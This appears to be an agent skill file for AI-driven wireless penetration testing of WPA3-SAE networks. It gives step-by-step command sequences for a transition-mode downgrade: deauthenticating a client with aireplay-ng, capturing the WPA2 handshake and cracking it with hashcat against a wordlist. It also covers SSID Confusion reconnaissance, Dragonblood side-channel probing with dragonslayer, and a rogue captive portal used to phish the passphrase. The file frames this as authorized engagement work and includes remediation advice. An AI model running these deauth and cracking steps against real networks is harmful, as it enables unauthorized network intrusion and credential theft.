| name | wpa3-sae |
| description | WPA3-SAE transition-mode downgrade (DragonShift), SSID Confusion CVE-2023-52424, Dragonblood side-channels, and SAE captive-portal credential recovery against WPA3-Personal networks. |
| allowed-tools | Bash Read Write |
| metadata | {"subdomain":"wireless","when_to_use":"WPA3, SAE, Dragonblood, transition mode downgrade, SSID confusion, dragonshift, MFP, WPA3-Personal, SAE handshake, simultaneous authentication of equals","tags":["wpa3","sae","dragonblood","transition-mode","ssid-confusion","pmf"],"mitre_attack":"T1557, T1040"} |
WPA3-SAE
SAE is an online-only protocol — there is no PMKID or 4-way
handshake hash to crack offline. The headline deliverable when the
PSK is unrecoverable is the MFP state finding (mandatory vs
optional vs disabled) which proves downgrade viability. Realistic
outcome: either recover the PSK via the transition-mode WPA2 leg,
or document SAE + MFP as a hardened target with no further wireless
attack surface.
Prerequisites
- Monitor-mode adapter on the target channel.
- Tools:
aircrack-ng suite, hcxdumptool, hcxpcapngtool,
hashcat, iw, tshark or wireshark-cli.
- Optional (Dragonblood / transition probing):
dragonslayer /
wpa_supplicant dev branch (Vanhoef scripts), Python 3.8+.
- Confirm
iw reg get matches the engagement's regulatory domain
before any TX.
Path A — Transition-mode downgrade (DragonShift)
Target signature: AP advertises both PSK and SAE (WPA2 WPA3
in airodump ENC column, or RSN IE shows both AKM 00-0F-AC:2 PSK
and 00-0F-AC:8 SAE), AND PMF is optional (MFPC=1, MFPR=0)
rather than required (MFPR=1).
sudo airodump-ng --write-interval 1 -w /tmp/wpa3_recon --output-format csv,pcap \
-c <CHANNEL> --bssid <BSSID> <mon-iface>
tshark -r /tmp/wpa3_recon-01.cap -Y "wlan.fc.type_subtype == 8" \
-T fields \
-e wlan.ssid \
-e wlan_mgt.rsn.capabilities.mfpc \
-e wlan_mgt.rsn.capabilities.mfpr 2>/dev/null | head -5
sudo aireplay-ng --deauth 1 -a <BSSID> -c <CLIENT_MAC> <mon-iface>
hcxpcapngtool -o /tmp/downgrade.hc22000 /tmp/wpa3_recon-01.cap
hashcat -m 22000 /tmp/downgrade.hc22000 /usr/share/wordlists/rockyou.txt
Hand off to wpa2-psk skill for cracking if the above yields a
hash. The downgrade finding stands independently even without a
cracked PSK.
Path B — SSID Confusion (CVE-2023-52424)
Preconditions (all required):
- Victim device has stored credentials for SSID-A on network-A
AND SSID-A on network-B (credential reuse across SSIDs).
- Neither AP uses beacon protection (802.11bn beacon-integrity
extension — uncommon in 2026 consumer gear).
- The PMK derivation in the target's supplicant does not bind the
SSID (WPA2/WPA3 SAE do not bind SSID into the PMK by spec unless
the vendor implements extra protection).
sudo airodump-ng <mon-iface> 2>/dev/null | grep "Probe"
tshark -r /tmp/wpa3_recon-01.cap -Y "wlan.fc.type_subtype == 8" \
-T fields -e wlan.ssid -e wlan.tag.number 2>/dev/null | grep "130"
Limits: Requires credential reuse. Most corporate environments
use unique per-network credentials, defeating this. Primarily viable
in SMB/SOHO where the same "home" PSK is reused on a WPA3 network.
(Reference: Vanhoef & Gollier, "SSID Confusion Attack", USENIX 2024.)
Path C — Dragonblood side-channels (legacy/embedded only)
Viability note: Both the timing and cache side-channel variants
(CVE-2019-9494, CVE-2019-9496) and the ECC group-downgrade attack
(CVE-2019-13377) are patched in hostapd ≥ 2.9 / wpa_supplicant ≥
2.9 (2019). Target must be running unpatched firmware — typical
on embedded routers, old ISP-supplied CPE, or IoT access points
with frozen firmware.
sudo airodump-ng --bssid <BSSID> -c <CHANNEL> <mon-iface>
python3 dragonslayer.py --interface <mon-iface> --target-bssid <BSSID> \
--test group-downgrade
python3 dragonslayer.py --interface <mon-iface> --target-bssid <BSSID> \
--test timing-attack --iterations 1200
Expected result on patched target: SAE Commit is rejected with
status 77 (unsupported finite cyclic group) for group 22, and timing
variance is <10 µs (indistinguishable). Mark as not_vulnerable.
Path D — SAE captive-portal social-engineering recovery
For networks where SAE is cryptographically intact and the PSK is
strong, a hostile-portal workflow (social engineering) can recover
the PSK directly from the user:
Evidence
On successful downgrade or PSK recovery, write a Credential node:
kg_add_node(
kind="credential",
label=f"WiFi PSK for {ssid} (WPA3-SAE transition downgrade)",
props={
"key": f"wifi-psk::{bssid}",
"secret_type": "wpa_sae",
"ssid": ssid,
"bssid": bssid,
"psk": psk,
"attack_path": "wpa3-transition-downgrade",
"cracked_at": "<iso8601>",
"source": "dragonshift+hashcat-22000",
},
)
Always write a Finding node for the PMF state regardless of crack outcome:
kg_add_node(
kind="finding",
label="WPA3 Transition Mode — PMF Optional (Downgrade Viable)",
props={
"key": f"pmf-optional::{bssid}",
"severity": "high",
"mfpc": True,
"mfpr": False,
"cve_ids": [],
"remediation": "Set MFP=Required (MFPR=1) on the AP to block transition-mode downgrade.",
},
)
ZFP
- tshark or Wireshark screenshot showing MFPC=1, MFPR=0 in RSN capabilities.
- Captured .hc22000 from the WPA2-leg reconnection (or dragonslayer output for Path C).
hashcat --show output confirming PSK (if cracked).
If PSK not cracked: the PMF-optional finding is a standalone deliverable. Document as "SAE transition-mode downgrade viable; PSK not recovered in engagement timeframe."
OPSEC notes
- Transition-mode downgrade requires one targeted deauth — gate on
permitted_actions: deauth_for_handshake_capture.
- PMKID capture from the WPA2 leg is OPSEC-quiet (no deauth).
- Dragonblood timing attack requires ~10+ minutes of repeated SAE
Commit frames — loud, triggers WIDS. Gate on
posture=loud.
- SSID Confusion and portal recovery (Path B/D) involve active TX;
check regulatory domain first.
References
references/wpa3-transition-mode-notes.md — extended transition-mode notes.
- Vanhoef & Gollier, "SSID Confusion Attack", USENIX Security 2024 (CVE-2023-52424).
- Vanhoef & Ronen, "Dragonblood: Analyzing the Dragonfly Handshake of WPA3-SAE", IEEE S&P 2020.
wpa2-psk skill — crack the recovered WPA2-leg handshake.
evil-twin-karma skill — rogue AP setup for Path D.
deauth-pmf skill — PMF detection and targeted deauth mechanics.